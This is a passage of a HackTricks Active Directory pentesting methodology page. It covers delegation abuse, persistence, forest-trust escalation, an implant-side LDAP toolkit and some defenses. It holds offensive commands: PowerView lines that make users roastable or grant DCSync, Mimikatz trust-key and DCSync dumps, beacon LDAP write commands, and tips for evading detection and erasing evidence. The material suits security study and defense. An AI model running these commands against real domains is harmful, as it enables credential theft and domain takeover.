 If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA), **steal** the NetNTLM **hash** or even perform a **relay** **attack**.\
 If an MSSQL instance is trusted through a database link by another instance, a user with privileges over the linked database may be able to **use the trust relationship to execute queries on the other instance**. These trusts can be chained and may eventually reach a misconfigured database where the user can execute commands.\
 **The links between databases work even across forest trusts.**
 
 
 [Abusing Ad Mssql](/hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql)
 
 ### IT asset/deployment platforms abuse
 
 Third-party inventory and deployment suites often expose powerful paths to credentials and code execution. See:
 
 [Sccm Management Point Relay Sql Policy Secrets](/hacktricks/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets)
 
 [Lansweeper Security](/hacktricks/windows-hardening/active-directory-methodology/lansweeper-security)
 
 ### Unconstrained Delegation
 
 If you find any Computer object with the attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\
 So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](/hacktricks/windows-hardening/active-directory-methodology/pass-the-ticket).\
 Thanks to constrained delegation you could even **automatically compromise a Print Server** (hopefully it will be a DC).
 
 
 [Unconstrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/unconstrained-delegation)
 
 ### Constrained Delegation
 
 If a user or computer is allowed for "Constrained Delegation" it will be able to **impersonate any user to access some services in a computer**.\
 Then, if you **compromise the hash** of this user/computer you will be able to **impersonate any user** (even domain admins) to access some services.
 
 
 [Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/constrained-delegation)
 
 ### Resourced-based Constrain Delegation
 
 Having **WRITE** privilege on an Active Directory object of a remote computer enables the attainment of code execution with **elevated privileges**:
 
 
 [Resource Based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation)
 
 ### Permissions/ACLs Abuse
 
 The compromised user could have some **interesting privileges over some domain objects** that could let you **move** laterally/**escalate** privileges.
 
 
 [Acl Persistence Abuse](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/overview)
 
 ### Printer Spooler service abuse
 
 Discovering a **Spool service listening** within the domain can be **abused** to **acquire new credentials** and **escalate privileges**.
 
 
 [Printers Spooler Service Abuse](/hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse)
 
 ### Third party sessions abuse
 
 If **other users** **access** the **compromised** machine, it's possible to **gather credentials from memory** and even **inject beacons in their processes** to impersonate them.\
 Usually users will access the system via RDP, so here you have how to performa couple of attacks over third party RDP sessions:
 
 
 [Rdp Sessions Abuse](/hacktricks/windows-hardening/active-directory-methodology/rdp-sessions-abuse)
 
 ### LAPS
 
 **LAPS** provides a system for managing the **local Administrator password** on domain-joined computers, ensuring it's **randomized**, unique, and frequently **changed**. These passwords are stored in Active Directory and access is controlled through ACLs to authorized users only. With sufficient permissions to access these passwords, pivoting to other computers becomes possible.
 
 
 [Laps](/hacktricks/windows-hardening/active-directory-methodology/laps)
 
 ### Certificate Theft
 
 **Gathering certificates** from the compromised machine could be a way to escalate privileges inside the environment:
 
 
 [Certificate Theft](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft)
 
 ### Certificate Templates Abuse
 
 If **vulnerable templates** are configured it's possible to abuse them to escalate privileges:
 
 
 [Domain Escalation](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)
 
 ## Post-exploitation with high privilege account
 
 ### Dumping Domain Credentials
 
 Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: _ntds.dit_.
 
 [**More information about DCSync attack can be found here**](/hacktricks/windows-hardening/active-directory-methodology/dcsync).
 
 [**More information about how to steal the NTDS.dit can be found here**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
 ### Privesc as Persistence
 
 Some of the techniques discussed before can be used for persistence.\
 For example you could:
 
 - Make users vulnerable to [**Kerberoast**](/hacktricks/windows-hardening/active-directory-methodology/kerberoast)
 
   ```bash
   Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
   ```
 
 - Make users vulnerable to [**ASREPRoast**](/hacktricks/windows-hardening/active-directory-methodology/asreproast)
 
   ```bash
   Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
   ```
 
 - Grant [**DCSync**](#dcsync) privileges to a user
 
   ```bash
   Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
   ```
 
 ### Silver Ticket
 
 The **Silver Ticket attack** creates a **legitimate Ticket Granting Service (TGS) ticket** for a specific service by using the **NTLM hash** (for instance, the **hash of the PC account**). This method is employed to **access the service privileges**.
 
 
 [Silver Ticket](/hacktricks/windows-hardening/active-directory-methodology/silver-ticket)
 
 ### Golden Ticket
 
 A **Golden Ticket attack** involves an attacker gaining access to the **NTLM hash of the krbtgt account** in an Active Directory (AD) environment. This account is special because it's used to sign all **Ticket Granting Tickets (TGTs)**, which are essential for authenticating within the AD network.
 
 Once the attacker obtains this hash, they can create **TGTs** for any account they choose (Silver ticket attack).
 
 
 [Golden Ticket](/hacktricks/windows-hardening/active-directory-methodology/golden-ticket)
 
 ### Diamond Ticket
 
 These are like golden tickets forged in a way that **bypasses common golden tickets detection mechanisms.**
 
 
 [Diamond Ticket](/hacktricks/windows-hardening/active-directory-methodology/diamond-ticket)
 
 ### **Certificates Account Persistence**
 
 **Having certificates of an account or being able to request them** is a very good way to be able to persist in the users account (even if he changes the password):
 
 
 [Account Persistence](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/account-persistence)
 
 ### **Certificates Domain Persistence**
 
 **Using certificates is also possible to persist with high privileges inside the domain:**
 
 
 [Domain Persistence](/hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence)
 
 ### AdminSDHolder Group
 
 The **AdminSDHolder** object in Active Directory ensures the security of **privileged groups** (like Domain Admins and Enterprise Admins) by applying a standard **Access Control List (ACL)** across these groups to prevent unauthorized changes. However, this feature can be exploited; if an attacker modifies the AdminSDHolder's ACL to give full access to a regular user, that user gains extensive control over all privileged groups. This security measure, meant to protect, can thus backfire, allowing unwarranted access unless closely monitored.
 
 [**More information about AdminDSHolder Group here.**](/hacktricks/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges#adminsdholder-group)
 
 ### DSRM Credentials
 
 Inside every **Domain Controller (DC)**, a **local administrator** account exists. By obtaining admin rights on such a machine, the local Administrator hash can be extracted using **mimikatz**. Following this, a registry modification is necessary to **enable the use of this password**, allowing for remote access to the local Administrator account.
 
 
 [Dsrm Credentials](/hacktricks/windows-hardening/active-directory-methodology/dsrm-credentials)
 
 ### ACL Persistence
 
 You could **give** some **special permissions** to a **user** over some specific domain objects that will let the user **escalate privileges in the future**.
 
 
 [Acl Persistence Abuse](/hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/overview)
 
 ### Security Descriptors
 
 The **security descriptors** are used to **store** the **permissions** an **object** have **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
 
 
 [Security Descriptors](/hacktricks/windows-hardening/active-directory-methodology/security-descriptors)
 
 ### Dynamic Objects Anti-Forensics / Evasion
 
 Abuse the `dynamicObject` auxiliary class to create short-lived principals/GPOs/DNS records with `entryTTL`/`msDS-Entry-Time-To-Die`; they self-delete without tombstones, erasing LDAP evidence while leaving orphan SIDs, broken `gPLink` references, or cached DNS responses (e.g., AdminSDHolder ACE pollution or malicious `gPCFileSysPath`/AD-integrated DNS redirects).
 
 [Ad Dynamic Objects Anti Forensics](/hacktricks/windows-hardening/active-directory-methodology/ad-dynamic-objects-anti-forensics)
 
 ### Skeleton Key
 
 Alter **LSASS** in memory to establish a **universal password**, granting access to all domain accounts.
 
 
 [Skeleton Key](/hacktricks/windows-hardening/active-directory-methodology/skeleton-key)
 
 ### Custom SSP
 
 [Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
 You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
 
 
 [Custom Ssp](/hacktricks/windows-hardening/active-directory-methodology/custom-ssp)
 
 ### DCShadow
 
 It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\
 Note that if you use wrong data, pretty ugly logs will appear.
 
 
 [Dcshadow](/hacktricks/windows-hardening/active-directory-methodology/dcshadow)
 
 ### LAPS Persistence
 
 Previously we have discussed about how to escalate privileges if you have **enough permission to read LAPS passwords**. However, these passwords can also be used to **maintain persistence**.\
 Check:
 
 
 [Laps](/hacktricks/windows-hardening/active-directory-methodology/laps)
 
 ## Forest Privilege Escalation - Domain Trusts
 
 Microsoft views the **Forest** as the security boundary. This implies that **compromising a single domain could potentially lead to the entire Forest being compromised**.<sup>[[1]](#references)</sup>
 
 ### Basic Information
 
 A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is a security mechanism that enables a user from one **domain** to access resources in another **domain**. It essentially creates a linkage between the authentication systems of the two domains, allowing authentication verifications to flow seamlessly. When domains set up a trust, they exchange and retain specific **keys** within their **Domain Controllers (DCs)**, which are crucial to the trust's integrity.
 
 In a typical scenario, if a user intends to access a service in a **trusted domain**, they must first request a special ticket known as an **inter-realm TGT** from their own domain's DC. This TGT is encrypted with a shared **key** that both domains have agreed upon. The user then presents this TGT to the **DC of the trusted domain** to get a service ticket (**TGS**). Upon successful validation of the inter-realm TGT by the trusted domain's DC, it issues a TGS, granting the user access to the service.
 
 **Steps**:
 
 1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**.
 2. DC1 issues a new TGT if the client is authenticated successfully.
 3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**.
 4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust.
 5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**.
 6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access.
 7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.
 
 ### Different trusts
 
 It's important to notice that **a trust can be 1 way or 2 ways**. In the 2 ways options, both domains will trust each other, but in the **1 way** trust relation one of the domains will be the **trusted** and the other the **trusting** domain. In the last case, **you will only be able to access resources inside the trusting domain from the trusted one**.
 
 If Domain A trusts Domain B, A is the trusting domain and B ins the trusted one. Moreover, in **Domain A**, this would be an **Outbound trust**; and in **Domain B**, this would be an **Inbound trust**.
 
 **Different trusting relationships**
 
 - **Parent-Child Trusts**: This is a common setup within the same forest, where a child domain automatically has a two-way transitive trust with its parent domain. Essentially, this means that authentication requests can flow seamlessly between the parent and the child.
 - **Cross-link Trusts**: Referred to as "shortcut trusts," these are established between child domains to expedite referral processes. In complex forests, authentication referrals typically have to travel up to the forest root and then down to the target domain. By creating cross-links, the journey is shortened, which is especially beneficial in geographically dispersed environments.
 - **External Trusts**: These are set up between different, unrelated domains and are non-transitive by nature. According to [Microsoft's documentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts are useful for accessing resources in a domain outside of the current forest that isn't connected by a forest trust. Security is bolstered through SID filtering with external trusts.
 - **Tree-root Trusts**: These trusts are automatically established between the forest root domain and a newly added tree root. While not commonly encountered, tree-root trusts are important for adding new domain trees to a forest, enabling them to maintain a unique domain name and ensuring two-way transitivity. More information can be found in [Microsoft's guide](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 - **Forest Trusts**: This type of trust is a two-way transitive trust between two forest root domains, also enforcing SID filtering to enhance security measures.
 - **MIT Trusts**: These trusts are established with non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains. MIT trusts are a bit more specialized and cater to environments requiring integration with Kerberos-based systems outside the Windows ecosystem.
 
 #### Other differences in **trusting relationships**
 
 - A trust relationship can also be **transitive** (A trust B, B trust C, then A trust C) or **non-transitive**.
 - A trust relationship can be set up as **bidirectional trust** (both trust each other) or as **one-way trust** (only one of them trust the other).
 
 ### Attack Path
 
 1. **Enumerate** the trusting relationships
 2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably).
    1. kerberoast in this case could be another option.
 3. **Compromise** the **accounts** which can **pivot** through domains.
 
 Attackers with could access to resources in another domain through three primary mechanisms:
 
 - **Local Group Membership**: Principals might be added to local groups on machines, such as the “Administrators” group on a server, granting them significant control over that machine.
 - **Foreign Domain Group Membership**: Principals can also be members of groups within the foreign domain. However, the effectiveness of this method depends on the nature of the trust and the scope of the group.
 - **Access Control Lists (ACLs)**: Principals might be specified in an **ACL**, particularly as entities in **ACEs** within a **DACL**, providing them access to specific resources. For those looking to dive deeper into the mechanics of ACLs, DACLs, and ACEs, the whitepaper titled “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” is an invaluable resource.<sup>[[17]](#references)</sup>
 
 ### Find external users/groups with permissions
 
 You can check **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** to find foreign security principals in the domain. These will be user/group from **an external domain/forest**.
 
 You could check this in **Bloodhound** or using powerview:
 
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
 
 # Get groups inside a domain with users our
 Get-DomainForeignGroupMember
 ```
 
 ### Child-to-Parent forest privilege escalation
 
 ```bash
 # From PowerView
 Get-DomainTrust
 
 SourceName      : sub.domain.local    --> current domain
 TargetName      : domain.local        --> foreign domain
 TrustType       : WINDOWS_ACTIVE_DIRECTORY
 TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
 TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
 WhenCreated     : 2/19/2021 1:28:00 PM
 WhenChanged     : 2/19/2021 1:28:00 PM
 ```
 
 Other ways to enumerate domain trusts:
 
 ```bash
 # Get DCs
 nltest /dsgetdc:<DOMAIN>
 
 # Get all domain trusts
 nltest /domain_trusts /all_trusts /v
 
 # Get all trust of a domain
 nltest /dclist:sub.domain.local
 nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 
 > [!WARNING]
 > There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\
 > You can the one used by the current domain them with:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
 > Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
 > ```
 
 #### SID-History Injection
 
 Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:
 
 
 [Sid History Injection](/hacktricks/windows-hardening/active-directory-methodology/sid-history-injection)
 
 #### Exploit writeable Configuration NC
 
 Understanding how the Configuration Naming Context (NC) can be exploited is crucial. The Configuration NC serves as a central repository for configuration data across a forest in Active Directory (AD) environments. This data is replicated to every Domain Controller (DC) within the forest, with writable DCs maintaining a writable copy of the Configuration NC. To exploit this, one must have **SYSTEM privileges on a DC**, preferably a child DC.
 
 **Link GPO to root DC site**
 
 The Configuration NC's Sites container includes information about all domain-joined computers' sites within the AD forest. By operating with SYSTEM privileges on any DC, attackers can link GPOs to the root DC sites. This action potentially compromises the root domain by manipulating policies applied to these sites.
 
 For in-depth information, one might explore research on [Bypassing SID Filtering](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4).<sup>[[12]](#references)</sup>
 
 **Compromise any gMSA in the forest**
 
 An attack vector involves targeting privileged gMSAs within the domain. The KDS Root key, essential for calculating gMSAs' passwords, is stored within the Configuration NC. With SYSTEM privileges on any DC, it's possible to access the KDS Root key and compute the passwords for any gMSA across the forest.
 
 Detailed analysis and step-by-step guidance can be found in:
 
 
 [Golden Dmsa Gmsa](/hacktricks/windows-hardening/active-directory-methodology/golden-dmsa-gmsa)
 
 Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
 
 
 [Badsuccessor Dmsa Migration Abuse](/hacktricks/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse)
 
 Additional external research: [Golden gMSA Trust Attacks](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-5).<sup>[[13]](#references)</sup>
 
 **Schema change attack**
 
 This method requires patience, waiting for the creation of new privileged AD objects. With SYSTEM privileges, an attacker can modify the AD Schema to grant any user complete control over all classes. This could lead to unauthorized access and control over newly created AD objects.
 
 Further reading is available on [Schema Change Trust Attacks](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-6).<sup>[[14]](#references)</sup>
 
 **From DA to EA with ADCS ESC5**
 
 The ADCS ESC5 vulnerability targets control over Public Key Infrastructure (PKI) objects to create a certificate template that enables authentication as any user within the forest. As PKI objects reside in the Configuration NC, compromising a writable child DC enables the execution of ESC5 attacks.
 
 More details on this can be read in [From DA to EA with ESC5](https://specterops.io/blog/2023/05/16/from-da-to-ea-with-esc5/).<sup>[[15]](#references)</sup> In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).<sup>[[16]](#references)</sup>
 
 ### External Forest Domain - One-Way (Inbound) or bidirectional
 
 ```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
 TargetName      : domain.external  --> Destination domain
 TrustType       : WINDOWS-ACTIVE_DIRECTORY
 TrustAttributes :
 TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
 
 In this scenario **your domain is trusted** by an external one giving you **undetermined permissions** over it. You will need to find **which principals of your domain have which access over the external domain** and then try to exploit it:
 
 
 [External Forest Domain Oneway Inbound](/hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound)
 
 ### External Forest Domain - One-Way (Outbound)
 
 ```bash
 Get-DomainTrust -Domain current.local
 
 SourceName      : current.local   --> Current domain
 TargetName      : external.local  --> Destination domain
 TrustType       : WINDOWS_ACTIVE_DIRECTORY
 TrustAttributes : FOREST_TRANSITIVE
 TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
 
 In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**.
 
 However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges:
 
 
 [External Forest Domain One Way Outbound](/hacktricks/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound)
 
 Another way to compromise the trusted domain is to find a [**SQL trusted link**](/hacktricks/windows-hardening/active-directory-methodology/abusing-ad-mssql#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common).
 
 Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
 Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.**
 
 
 [Rdp Sessions Abuse](/hacktricks/windows-hardening/active-directory-methodology/rdp-sessions-abuse)
 
 ### Domain trust abuse mitigation
 
 ### **SID Filtering:**
 
 - The risk of attacks leveraging the SID history attribute across forest trusts is mitigated by SID Filtering, which is activated by default on all inter-forest trusts. This is underpinned by the assumption that intra-forest trusts are secure, considering the forest, rather than the domain, as the security boundary as per Microsoft's stance.
 - However, there's a catch: SID filtering might disrupt applications and user access, leading to its occasional deactivation.
 
 ### **Selective Authentication:**
 
 - For inter-forest trusts, employing Selective Authentication ensures that users from the two forests are not automatically authenticated. Instead, explicit permissions are required for users to access domains and servers within the trusting domain or forest.
 - It's important to note that these measures do not safeguard against the exploitation of the writable Configuration Naming Context (NC) or attacks on the trust account.
 
 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)<sup>[[3]](#references)</sup>
 
 ## LDAP-based AD Abuse from On-Host Implants
 
 The [LDAP BOF Collection](https://github.com/P0142/LDAP-Bof-Collection) re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with `git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make`, load `ldap.axs`, and then call `ldap <subcommand>` from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.<sup>[[4]](#references)</sup>
 
 ### Implant-side LDAP enumeration
 
 - `get-users`, `get-computers`, `get-groups`, `get-usergroups`, and `get-groupmembers` resolve short names/OU paths into full DNs and dump the corresponding objects.
 - `get-object`, `get-attribute`, and `get-domaininfo` pull arbitrary attributes (including security descriptors) plus the forest/domain metadata from `rootDSE`.
 - `get-uac`, `get-spn`, `get-delegation`, and `get-rbcd` expose roasting candidates, delegation settings, and existing [Resource-based Constrained Delegation](/hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation) descriptors directly from LDAP.
 - `get-acl` and `get-writable --detailed` parse the DACL to list trustees, rights (GenericAll/WriteDACL/WriteOwner/attribute writes), and inheritance, giving immediate targets for ACL privilege escalation.
 
 ```powershell
 ldap get-users --ldaps
 ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
 ldap get-writable --detailed
 ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
 ```
 
 ### LDAP write primitives for escalation & persistence
 
 - Object creation BOFs (`add-user`, `add-computer`, `add-group`, `add-ou`) let the operator stage new principals or machine accounts wherever OU rights exist. `add-groupmember`, `set-password`, `add-attribute`, and `set-attribute` directly hijack targets once write-property rights are found.
 - ACL-focused commands such as `add-ace`, `set-owner`, `add-genericall`, `add-genericwrite`, and `add-dcsync` translate WriteDACL/WriteOwner on any AD object into password resets, group membership control, or DCSync replication privileges without leaving PowerShell/ADSI artifacts. `remove-*` counterparts clean up injected ACEs.
 
 ### Delegation, roasting, and Kerberos abuse
 
 - `add-spn`/`set-spn` instantly make a compromised user Kerberoastable; `add-asreproastable` (UAC toggle) marks it for AS-REP roasting without touching the password.
 - Delegation macros (`add-delegation`, `set-delegation`, `add-constrained`, `add-unconstrained`, `add-rbcd`) rewrite `msDS-AllowedToDelegateTo`, UAC flags, or `msDS-AllowedToActOnBehalfOfOtherIdentity` from the beacon, enabling constrained/unconstrained/RBCD attack paths and eliminating the need for remote PowerShell or RSAT.
 
 ### sidHistory injection, OU relocation, and attack surface shaping
 
 - `add-sidhistory` injects privileged SIDs into a controlled principal’s SID history (see [SID-History Injection](/hacktricks/windows-hardening/active-directory-methodology/sid-history-injection)), providing stealthy access inheritance fully over LDAP/LDAPS.
 - `move-object` changes the DN/OU of computers or users, letting an attacker drag assets into OUs where delegated rights already exist before abusing `set-password`, `add-groupmember`, or `add-spn`.
 - Tightly scoped removal commands (`remove-attribute`, `remove-delegation`, `remove-rbcd`, `remove-uac`, `remove-groupmember`, etc.) allow rapid rollback after the operator harvests credentials or persistence, minimizing telemetry.
 
 ## AD -> Azure & Azure -> AD
 
 
 [Index.Html](https%3A//cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html)
 
 ## Some General Defenses
 
 [**Learn more about how to protect credentials here.**](/hacktricks/windows-hardening/stealing-credentials/credentials-protections)
 
 ### **Defensive Measures for Credential Protection**
 
 - **Domain Admins Restrictions**: It is recommended that Domain Admins should only be allowed to login to Domain Controllers, avoiding their use on other hosts.
 - **Service Account Privileges**: Services should not be run with Domain Admin (DA) privileges to maintain security.
 - **Temporal Privilege Limitation**: For tasks requiring DA privileges, their duration should be limited. This can be achieved by: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
 - **LDAP relay mitigation**: Audit Event IDs 2889/3074/3075 and then enforce LDAP signing plus LDAPS channel binding on DCs/clients to block LDAP MITM/relay attempts.
 
 [Ldap Signing And Channel Binding](/hacktricks/windows-hardening/active-directory-methodology/ldap-signing-and-channel-binding)
 
 ### Protocol-level fingerprinting of Impacket activity
 
 If you want to detect common AD tradecraft, **do not rely only on operator-controlled artifacts** such as renamed binaries, service names, temp batch files, or output paths. Baseline how legitimate Windows clients build [Kerberos](/hacktricks/windows-hardening/active-directory-methodology/kerberos-authentication), [NTLM](/hacktricks/windows-hardening/ntlm/overview), SMB, LDAP, DCE/RPC, and WMI traffic, then look for **implementation quirks** that remain even after the operator edits `psexec.py`, `wmiexec.py`, `dcomexec.py`, `atexec.py`, or `ntlmrelayx.py`.<sup>[[8]](#references)</sup>
 
 - **High-confidence standalone candidates** (after validating against your own baseline):
   - Authenticated DCE/RPC using `auth_context_id = 79231 + ctx_id`
   - DCE/RPC authentication padding filled with `0xff`
   - LDAP Kerberos binds that place a raw Kerberos `AP-REQ` directly in SPNEGO `mechToken`
   - SMB2/3 negotiate requests with ASCII-looking `ClientGuid` values
   - WMI `IWbemLevel1Login::NTLMLogin` using the non-standard namespace `//./root/cimv2`
   - Hardcoded Kerberos nonce values
 - **Better as correlation/scoring features**:
   - Sparse or duplicated Kerberos etype lists, unusual/missing `PA-DATA`, or TGS-REQ etype ordering that differs from native Windows
   - NTLM Type 1 messages missing version info or Type 3 messages with null host names
   - Raw NTLMSSP carried in DCE/RPC instead of SPNEGO, missing DCE/RPC verification trailers, or SPNEGO/Kerberos OID mismatches
   - Several of these traits from the same host/user/session/time window are far stronger than any single weak field
 - **Use as enrichment, not as standalone alerts**:
   - Default filenames, output paths, random service names, temporary batch names, default computer account names, and tool-specific HTTP/WebDAV/RDP/MSSQL strings
   - These are easy for operators to change and are best used to explain why a cross-protocol cluster is suspicious
 - **Operational notes**:
   - Some of these signals require decrypted traffic, [PCAP/Zeek parsing](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md), ETW, or service-side visibility
   - Validate against Samba/Linux clients, appliances, and legacy software before promoting to alerts
   - Promote detections from enrichment -> hunting -> alerting as you build confidence in the baseline
 
 ### **Implementing Deception Techniques**
 
 - Implementing deception involves setting traps, like decoy users or computers, with features such as passwords that do not expire or are marked as Trusted for Delegation. A detailed approach includes creating users with specific rights or adding them to high privilege groups.<sup>[[2]](#references)</sup>
 - A practical example involves using tools like: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
 - More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
 
 ### **Identifying Deception**
 
 - **For User Objects**: Suspicious indicators include atypical ObjectSID, infrequent logons, creation dates, and low bad password counts.
 - **General Indicators**: Comparing attributes of potential decoy objects with those of genuine ones can reveal inconsistencies. Tools like [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) can assist in identifying such deceptions.
 
 ### **Bypassing Detection Systems**
 
 - **Microsoft ATA Detection Bypass**:
   - **User Enumeration**: Avoiding session enumeration on Domain Controllers to prevent ATA detection.
   - **Ticket Impersonation**: Utilizing **aes** keys for ticket creation helps evade detection by not downgrading to NTLM.
   - **DCSync Attacks**: Executing from a non-Domain Controller to avoid ATA detection is advised, as direct execution from a Domain Controller will trigger alerts.
 
 ## References
 
 - [1] [A Guide to Attacking Domain Trusts](https://blog.harmj0y.net/redteaming/a-guide-to-attacking-domain-trusts/)
 - [2] [Forging Trusts for Deception in Active Directory](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
 - [3] [From Domain Admin to Enterprise Admin](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
 - [4] [LDAP BOF Collection – In-Memory LDAP Toolkit for Active Directory Exploitation](https://github.com/P0142/LDAP-Bof-Collection)
 - [5] [TrustedSec – Holy Shuck! Weaponizing NTLM Hashes as a Wordlist](https://trustedsec.com/blog/holy-shuck-weaponizing-ntlm-hashes-as-a-wordlist)
 - [6] [Barbhack 2025 CTF (NetExec AD Lab) – Pirates](https://0xdf.gitlab.io/2026/01/29/barbhack-2025-ctf.html)
 - [7] [Hashcat](https://github.com/hashcat/hashcat)
 - [8] [ThatTotallyRealMyth/Impacket-IoCs – Dissecting Impacket](https://github.com/ThatTotallyRealMyth/Impacket-IoCs)
 - [9] [rub-softsec/onelogon - Onelogon: Taking over Active Directory Accounts via Netlogon](https://github.com/rub-softsec/onelogon)
 - [10] [Microsoft - How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472](https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e)
